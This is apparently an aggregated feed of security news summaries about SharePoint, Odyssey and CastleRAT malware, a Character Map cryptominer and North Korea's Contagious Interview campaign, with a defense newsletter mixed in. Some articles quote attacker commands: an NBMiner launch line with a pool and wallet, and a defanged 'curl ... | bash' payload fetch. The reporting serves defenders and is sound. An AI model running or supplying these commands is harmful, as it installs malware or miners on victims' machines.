• A new investigation has revealed that Microsoft relied on China-based engineers to provide technical support and bug fixes for SharePoint, the same collaboration software that was recently exploited by Chinese state-sponsored hackers in a massive cyberattack affecting hundreds of organizations, including sensitive U.S. government agencies. Last month, Microsoft announced that Chinese hackers had successfully exploited […]

    The post Microsoft Tapped China Engineers for SharePoint Support appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • In the second quarter of 2025, users of Android and iOS devices faced relentless cyberthreats, with Kaspersky Security Network reporting nearly 143,000 malicious installation packages detected across its mobile security products. Although the overall number of mobile attacks—including malware, adware, and potentially unwanted software—dropped to 10.71 million in Q2, Trojans remained the predominant danger, accounting […]

    The post Over 143,000 Malware Files Target Android and iOS Users in Q2 2025 appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Federal Civilian Executive Branch (FCEB) agencies are being advised to update their Sitecore instances by September 25, 2025, following the discovery of a security flaw that has come under active exploitation in the wild. The vulnerability, tracked as CVE-2025-53690, carries a CVSS score of 9.0 out of a maximum of 10.0, indicating critical severity. “Sitecore Experience Manager (XM), Experience

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A recently discovered strain of cryptomining malware has captured the attention of security teams worldwide by abusing the built-in Windows Character Map application as an execution host.

    The threat actor initiates the attack through a PowerShell script that downloads and executes a heavily obfuscated AutoIt loader entirely in memory, avoiding disk writes and common detection methods.

    Early indications suggest that this novel approach represents an evolution in cryptojacking tactics, with the malicious payload persistently injecting itself into legitimate Windows processes.

    The infection begins when a compromised workstation reaches out to a rare external endpoint over HTTP, requesting a PowerShell script named infect.ps1.

    DarkTrace researchers identified this anomaly by detecting a new PowerShell user agent fingerprint, triggering high-fidelity alerts tied to command-and-control activity.

    Screenshot of the ‘infect.ps1’ PowerShell script observed in the attack (Source – DarkTrace)

    Upon retrieval, the script decodes multiple Base64 and XOR-encoded blobs, reconstructs an AutoIt binary in the user’s AppData folder, and establishes persistence via a startup shortcut.

    At each stage, the actor has embedded evasion measures, including registry checks and UAC bypass attempts, to ensure uninterrupted mining operations.

    Screenshot of second stage AutoIt script (Source – DarkTrace)

    Once the AutoIt binary is launched, it performs process injection through charmap.exe (Windows Character Map). DarkTrace analysts noted that the loader requests a handle to charmap.exe, allocates executable memory, and writes the decrypted NBMiner payload into that space.

    By executing the miner inside a trusted Microsoft process, the malware sidesteps signature-based defenses in Windows Defender, allowing it to connect to remote mining pools undetected.

    Targeted organizations have reported spikes in CPU usage and unexplained energy costs, underscoring the financial impact of these stealthy operations.

    The final phase of the attack involves spawning the NBMiner process with arguments optimized for the KawPoW algorithm:-

    NBMiner.exe -a kawpow -o asia.ravenminer.com:3838 \
        -u R9KVhfjiqSuSVcpYw5G8VDayPkjSipbiMb.worker -i 60

    The actor hides the process window and implements anti-sandbox delays, only proceeding when Windows Defender is the sole antivirus present.

    A lookup of DNS requests reveals repeated queries for monerooceans.stream and subsequent TCP connections to 152.53.121.6:10001, confirming active mining traffic.

    Infection Mechanism

    Digging deeper into the infection mechanism reveals a two-stage loader architecture. The initial PowerShell droplet embeds three encoded data segments: the AutoIt executable, a persistence script, and the injection stub.

    After writing these files to %LOCALAPPDATA%, the script launches AutoIt to read and decode the second blob using XOR key 47.

    The loader then bypasses UAC via Fodhelper, grants itself administrative privileges, and invokes charmap.exe for in-memory payload injection.

    This chain of staging and obfuscation allows the malware to maintain a minimal footprint on disk while executing complex evasion routines.

    By chaining these techniques, the adversary demonstrates a sophisticated understanding of Windows internals and Defender loopholes, raising the bar for detection and response.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post New Malware Leverages Windows Character Map to Bypass Windows Defender and Mine Cryptocurrency for The Attackers appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Twenty-six nations have pledged post-war military support for Ukraine’s security, French President Emmanual Macron announced Thursday during a visit with his Ukrainian counterpart in Paris. Macron, however, did not list the 26 countries. 

    “Today, for the first time in a long time, this is the first such serious, very specific substance,” Ukrainian President Volodymyr Zelenskyy said after a summit meeting of Kyiv's allies Thursday. 

    Context: “The meeting of 35 leaders from the ‘coalition of the willing’—of mainly European countries—was intended to finalise security guarantees and ask Trump for the backing that Europeans say is vital to make such guarantees viable,” Reuters reports.

    Macron: “The day the conflict stops, the security guarantees will be deployed,” he said standing alongside Zelenskyy. Read more via the Institute for the Study of War, which also reviewed Zelenskyy’s Paris visit atop their Thursday assessment, here.

    ICYMI, here’s Putin, on what may come next in his war of conquest: “It seems to me that if common sense prevails, it will be possible to agree on an acceptable solution to end this conflict,” the Russian leader told reporters in Moscow on Wednesday. “Especially since we can see the mood of the current U.S. administration under President [Donald] Trump, and we see not just their statements, but their sincere desire to find this solution…If not, then we will have to resolve all the tasks before us by force of arms.”

    Meanwhile, the Trump administration says it will cut some security funds for European countries bordering Russia. “The decision, affecting hundreds of millions of dollars in U.S. military aid, has alarmed NATO allies and upset U.S. lawmakers who strongly back the alliance,” the Washington Post reported Thursday. The Financial Times has more, here.

    Additional reading: 


    Welcome to this Friday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1942, Japanese imperial forces suffered their first land warfare defeat of World War II when they were forced to withdraw from the Battle of Milne Bay, on the eastern edge of ​​New Guinea. 

    Around the Pentagon

    Newly-revealed: Failed top-secret SEAL mission in North Korea. President Trump ordered a secretive raid into North Korea in early 2019, but it went off the rails almost as soon as it began, resulting in the deaths of at least two Korean fishermen whose lungs were punctured “with knives to make sure their bodies would sink,” never to be seen again. 

    Dave Philipps and Matthew Cole reported the extraordinary details Friday for the New York Times, which noted, “If the public and [U.S.] policymakers become aware only of high-profile successes” by American special operations forces, “they may underestimate the extreme risks that American forces undertake.” Such missions, Phillips and Cole write, also risk “setting off a broader conflict with a hostile, nuclear-armed and highly militarized adversary.”

    The mission reportedly centered around “a newly developed electronic device” believed to be able to intercept the communications of North Korean dictator Kim Jong-un. But the SEALs would have to place the device themselves in incredibly challenging conditions: traveling underwater in the cold darkness of a winter night, hoping no one will spot any portion of their activities due to a communications blackout and lack of real-time surveillance along the coast. 

    But they encountered a local fishing crew almost as soon as they approached the shore. With little time to waste, “the senior enlisted SEAL at the shore chose a course of action. He wordlessly centered his rifle and fired. The other SEALs instinctively did the same.” They then “swam to the boat to make sure that all of the North Koreans were dead. They found no guns or uniforms. Evidence suggested that the crew, which people briefed on the mission said numbered two or three people, had been civilians diving for shellfish.”

    Also: “The Trump administration did not notify key members of Congress who oversee intelligence operations, before or after the mission. The lack of notification may have violated the law.” Read the full account from Phillips and Cole, (gift link), here

    New: The District of Columbia has sued Trump over the “military occupation” of the city by National Guard troops and units from states outside the district. 

    The suit cites Guard troops from Louisiana, South Dakota, Ohio, West Virginia, Tennessee, Mississippi and South Carolina—none of whom were federalized, Jacob Fischler of States Newsroom reports, “meaning they remain legally under the command of their governors and cannot enter another state or the district without a request from the governor or the mayor of Washington, D.C.,” according to the suit filed by D.C. Attorney General Brian Schwalb. 

    “Defendants have established a massive, seemingly indefinite law enforcement operation in the District subject to direct military command. The danger that such an operation poses to individual liberty and democratic rule is self-evident,” Schwalb’s complaint says.

    Reminder: Trump offered false and exaggerated crime statistics to justify the Guard deployment and his takeover of the D.C. police in August. 

    Expert reax: “The administration is pushing the bounds of every existing legal theory that's out there for domestic military deployment,” University of Houston Law Center Professor Christopher Mirasola said. “It's absolutely corrosive of our democracy, because I think there's a potential for a real shift in how we think about the military's role in our domestic affairs.” Read more, here

    New: The White House says Trump will indeed try to rename the Defense Department as the “Department of War,” administration officials told Fox on Thursday. 

    His executive order says for now the change will apply “as a secondary title,” and also authorizes “secondary titles such as ‘Secretary of War,’ ‘Department of War,’ and ‘Deputy Secretary of War’ in official correspondence, public communications, ceremonial contexts, and non-statutory documents within the executive branch,” according to Nick Schifrin of PBS News. 

    By law, the DOD cannot be renamed by executive order. “Congress created the Dept of Defense through the National Security Act Amendments of 1949, which Truman signed into law. Trump can no more undo this unilaterally than he can rename Mars Trump Wor[l]d,” noted historian Joshua Zeitz, writing Friday on social media. 

    That’s likely why Trump’s order also “instructs the Secretary of War to recommend actions, to include legislative and executive actions, required to permanently rename the U.S. Department of Defense to the U.S. Department of War,” according to the White House’s fact sheet. 

    “We’re just going to do it. I’m sure Congress will go along, I don’t even think we need that,” Trump said last week. 

    Why now? To “sharpen the focus of this Department on our national interest and signal to adversaries America’s readiness to wage war to secure its interests,” the White House says. 

    Behind the optics: “The change is also a reflection of how much Trump and Secretary of Defense (his title for now) Pete Hegseth think of themselves as tough guys,” former Naval War College professor Tom Nichols writes in The Atlantic. “It is almost impossible to overstate the inanity of this move.”

    If this moves ahead, “The cost of renaming the DOD will run into tens of millions of dollars, maybe much more,” Nichols writes. “Everything from official seals to uniform patches and medals might have to be replaced—and for what? Because a president who never served a day in uniform and a macho-obsessed former Army major think that using words like war will provide the sense of purpose and gravity they both lack?”

    Second opinion: “If lawmakers want to preserve our international reputation as a defender against aggression by others and not an initiator of violence, they should reject any name change,” writes former National War College professor Charlie Stevenson, who served as a Senate staffer for 22 years. 

    Also today on Fox: its Business channel relays dismal new numbers for Trump's tariff-shaken U.S. economy: 22,000 jobs that were added in August are “much less than the expectation of 75,000” as the U.S. experienced its slowest 4-month growth since 2020, with rising unemployment and 21,000 in downward revisions for June and July employment numbers.

    Around the services

    Air Force debuts pilotless cargo flights in the Pacific. Autonomous cargo flights were a little-known feature of the summer’s massive Resolute Force Pacific exercise, designed to prepare for a potential conflict with China. The flights between multiple Hawaiian islands, operated by a Cessna 208B Grand Caravan powered by Joby Aviation’s Superpilot software, were remotely operated from Guam, which is about 4,000 miles away. The goal is to make logistics flights in the vast theater cheaper during wartime, reports Defense One’s Lauren C. Williams, here.

    Related: “SECNAV moves to consolidate Navy's unmanned offices, pauses 'all' robotic contracting activities,” Breaking Defense reports, citing a Sept. 3 memo.

    Update: Trump is expected to nominate acting NSA/CyberCom chief Lt. Gen. William Hartman to formally lead both agencies, Politico reported Thursday. Hartman has held the posts since April, when Trump fired Air Force Gen. Timothy Haugh after meeting with far-right activist Laura Loomer. 

    Forecast: “Hartman is unlikely to face much pushback to his nomination in the Senate.” More, here

    Additional reading: 

    Trump 2.0

    Venezuela flew its fighter jets over a U.S. Navy ship in a “show of force” on Thursday, CBS News reports. The two F-16 fighter jets were armed as they passed over the USS Jason Dunham, which is part of a U.S. flotilla deployed to the waters near Latin America to fight drug trafficking. 

    “This highly provocative move was designed to interfere with our counter narco-terror operations,” the U.S. military said in a statement on social media, and warned in accusation, “The cartel running Venezuela is strongly advised not to pursue any further effort to obstruct, deter or interfere with counter-narcotics and counter-terror operations carried out by the US military.”

    Update: The U.S. is adding two more Latin American gangs to its list of foreign terrorist organizations, Secretary of State Marco Rubio announced Thursday during a trip to Ecuador. 

    “One is Los Lobos and the other is Los Choneros,” and both are from Ecuador, Rubio said. According to the Associated Press, “Los Choneros, Los Lobos and other similar groups are involved in contract killings, extortion operations and the movement and sale of drugs. Authorities have blamed them for the increased violence in the country as they fight over drug-trafficking routes to the Pacific and control of territory, including within prisons.”

    Context: “Violence has skyrocketed in Ecuador since the pandemic,” AP adds. And “Cartels from Mexico, Colombia and the Balkans have settled in Ecuador because it uses the U.S. dollar and has weak laws and institutions, along with a network of long-established gangs.” 

    Also notable: “Ecuador in July extradited to the U.S. the leader of Los Choneros,” who was recaptured in June after a prison escape. More, here

    Related reading: 

    Asia

    The big threat left out of Xi’s parade: China’s weaponized AI startups. A new report from the Center for Security and Emerging Technology notes a growing ecosystem of small and nimble dual-use AI companies working with the Chinese military. “Those partnerships make it harder for the United States to track what new weapons China is developing and prevent U.S. investors or technology collaborators from helping them,” writes Defense One’s Patrick Tucker, here.

    Contrary view: “Why China is Unlikely to Invade Taiwan.” An invasion of Taiwan is far more complicated than Washington narratives would suggest, write Dan Grazier, James Siebens, and MacKenna Rawlins in a new report for the Stimson Center. Read that, here

    And lastly, in leftover links this week: 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A sophisticated cyber campaign is targeting macOS users by distributing the potent “Odyssey” information stealer through a deceptive website impersonating the official Microsoft Teams download page.

    The attack, identified by researchers at CloudSEK’s TRIAD, leverages a social engineering technique known as a “Clickfix” attack to trick victims into executing malicious code that systematically harvests sensitive data, establishes long-term persistence, and even replaces legitimate cryptocurrency applications with trojanized versions.

    This campaign represents a tactical evolution from a similar attack reported by Forcepoint in early August 2025, where threat actors used a fake TradingView site to deliver the same malware.

    By shifting their lure to a trusted enterprise application like Microsoft Teams, the attackers are widening their net to ensnare a broader range of victims.

    The attack begins when a user lands on a fraudulent webpage designed to look like a Microsoft security verification page for Teams. The page instructs the user to resolve a supposed “Unusual Web Traffic” issue by copying a command and pasting it into their macOS Terminal.

    fake teams site
    fake teams site

    While the page displays a seemingly harmless command, the “Copy” button actually places a malicious, base64-encoded AppleScript payload onto the user’s clipboard. When an unsuspecting user executes this command, they unwittingly launch the Odyssey stealer.

    Odyssey’s Malicious Payload

    Once active, the malware initiates a multi-stage process to compromise the system thoroughly:

    1. Credential Theft: The script first attempts to gain the user’s password by presenting a fake dialog box that reads, “Required Application Helper. Please enter device password to continue.” It relentlessly prompts the user until the correct password is provided. This password is then used to access and steal the macOS login keychain and the Chrome browser’s keychain.
    2. Widespread Data Collection: Odyssey conducts a comprehensive sweep of the infected machine, collecting a vast array of personal and financial information. This includes:
      • Apple Ecosystem: It extracts the entire Apple Notes database, including attachments, along with Safari browser data like cookies and saved form values.
      • Browser Artifacts: The malware targets Chromium-based browsers (Chrome, Edge, Brave, Opera) and Firefox-based browsers, stealing cookies, web data, and saved logins. It also specifically hunts for data from a long list of browser extensions, focusing on password managers and crypto wallets like MetaMask.
      • Cryptocurrency Wallets: It recursively copies data from numerous desktop cryptocurrency wallets, including Electrum, Exodus, Atomic, Wasabi, Ledger Live, and Trezor Suite.
      • Personal Files: The stealer searches the user’s Desktop and Documents folders for files with extensions like .txt, .pdf, .doc, .wallet, and .key, bundling up to 10MB of these files for exfiltration.
    3. Exfiltration: All harvested data is compressed into a single archive file named out.zip in a temporary directory. This file is then sent to a command-and-control (C2) server located at the IP address 185.93.89.62. The same server hosts the login panel for the Odyssey stealer toolkit.
    Malware login page
    Malware login page
    1. Persistence and Tampering: To ensure long-term access, Odyssey creates a LaunchDaemon, a service that runs automatically at startup. Using the previously stolen password for administrator privileges, it installs this backdoor. In a particularly brazen move, the malware kills the legitimate Ledger Live application process, deletes the app, and replaces it with a trojanized version downloaded from the C2 server, giving attackers direct control over the user’s crypto hardware wallet interactions.

    Mitigations

    The consequences for victims are severe, ranging from credential theft and data breaches to significant financial losses from compromised cryptocurrency wallets. The persistence mechanism means that even after a one-time data theft, the system remains compromised and vulnerable to further attacks.

    To defend against this threat, security experts recommend the following measures:

    • Network Monitoring: Block traffic to the known C2 IP address (185.93.89[.]62) and monitor for unusual outbound POST requests containing large zip files.
    • Endpoint Security: Regularly audit /Library/LaunchDaemons/ for suspicious files and look for recent, unexpected osascript executions.
    • User Vigilance: Exercise extreme caution when websites request that you run commands in the Terminal. Verify the authenticity of download pages before proceeding.
    • Incident Response: If an infection is suspected, immediately reset all critical passwords (Apple ID, email, banking, crypto wallets) from a clean system. Remove the trojanized Ledger Live application and consider a full system wipe and rebuild to ensure complete removal of the malware.

    Find this Story Interesting! Follow us on Google NewsLinkedIn, and X to Get More Instant Updates.

    The post Hackers Weaponize Fake Microsoft Teams Site to Deploy Odyssey macOS Stealer appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The threat actor behind the malware-as-a-service (MaaS) framework and loader called CastleLoader has also developed a remote access trojan known as CastleRAT. “Available in both Python and C variants, CastleRAT’s core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell,” Recorded Future Insikt Group

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The year 2025 has unfolded in an environment marked by eroding trust in vulnerability databases, an explosive growth in cyberattacks, and digital overload for businesses. Data breaches have become routine, the number of CVEs continues to break records, and traditional defense approaches no longer work.  Cybersecurity expert Ilia Dubov, Head of Information Security and Compliance […]

    The post Cybersecurity Landscape 2025 Amid Record Vulnerabilities, Infrastructure Breakdown, and Growing Digital Risks appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Over the past year, cybersecurity researchers have observed a surge in activity from North Korean threat actors leveraging military-grade social engineering techniques to target professionals in the cryptocurrency industry.

    This campaign, dubbed Contagious Interview, employs a deceptively benign job-application process that masks the delivery of sophisticated malware.

    Victims receive invitations to participate in mock assessments for roles at fictitious firms, only to be lured into executing malicious scripts.

    The attackers maintain a vast network of infrastructure, rapidly replacing compromised domains and servers to evade takedowns and sustain high levels of engagement.

    Early in 2025, the adversaries began registering domains with names such as skillquestions[.]com and talentcheck[.]pro, setting up lure websites that prompt candidates to run shell commands under the guise of troubleshooting errors.

    During the assessment, an on-page error appears—typically a camera-access prompt—which directs victims to paste a curl command in their terminal.

    This simple payload download step quickly escalates to a full compromise, as the malware establishes persistent access and exfiltrates credentials.

    The careful orchestration of these steps combined with tailored domain names has led to over 230 confirmed victim engagements within a three-month period.

    SentinelLABS analysts noted that these operations are underpinned by continuous monitoring of threat intelligence platforms such as Validin and VirusTotal.

    By registering community accounts shortly after new Indicators of Compromise (IOCs) are published in repositories like Maltrail’s apt_lazarus[.]txt, the adversaries ensure they have the latest insights into their own infrastructure exposure.

    Rather than investing in comprehensive modifications to existing assets, they opt to spin up entirely new servers whenever a domain faces disruption.

    This strategic choice favors operational agility over fortress-style defenses, enabling the actors to stay one step ahead of takedown requests.

    SentinelLABS researchers identified that the infrastructure replacement cycle is measured in hours rather than weeks.

    When a service provider disables a domain, the threat actors immediately provision a fresh domain, migrate their malware distribution servers, and update command-and-control endpoints.

    The liambrooksman persona (brooksliam534[@]gmail.com) tracked as maintainer of cors-app and cors-parser (Source – Setinelone)

    Behind the scenes, coordination occurs through team collaboration platforms like Slack, where automated bots post summaries of new domains, and individual operators click through these previews in rapid succession.

    Infection Mechanism

    At the heart of the Contagious Interview campaign lies a minimalist yet effective infection mechanism.

    Upon visiting the lure site, targets encounter a JavaScript-powered form that simulates a live coding assessment.

    When they trigger the fabricated error, the page displays a terminal command:-

    curl - s https[:]//api[.]drive-release[.]cloud/update[.]sh | bash

    Executing this command fetches a shell script that performs environment checks, detects the victim’s operating system, and downloads a tailored payload.

    The script then installs a lightweight backdoor, writes a cron entry for persistence, and communicates with the actor-controlled C2 server over HTTPS to register the compromised host.

    All stages are logged by the ContagiousDrop Node[.]js application on the server, creating detailed victimology records in JSON files such as client_ips_start_test[.]json.

    Logging to client_ips_start_test[.]json (Source – Setinelone)

    This blend of social engineering and automated scripting maximizes infection rates while minimizing developer effort, reflecting a maturation of DPRK offensive capabilities.

    Through these adaptive tactics—rapid infrastructure turnover, intelligence-driven asset scouting, and streamlined payload delivery—North Korean threat actors continue to pose a dynamic and persistent threat.

    As defenders strengthen detection protocols, understanding this infection mechanism remains crucial in disrupting the attack chain before initial contact.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post North Korean Threat Actors Reveal Their Tactics in Replacing Infrastructure With New Assets appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • SafePay, an emerging ransomware group, has rapidly ascended from obscurity to notoriety in 2025. In June alone, the group claimed responsibility for attacks on 73 organizations, topping Bitdefender’s Threat Debrief rankings for the month. July saw another surge, with 42 victims added to its toll. With more than 270 claimed victims to date this year, […]

    The post SafePay Ransomware Hits 73 Organizations in Just One Month appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶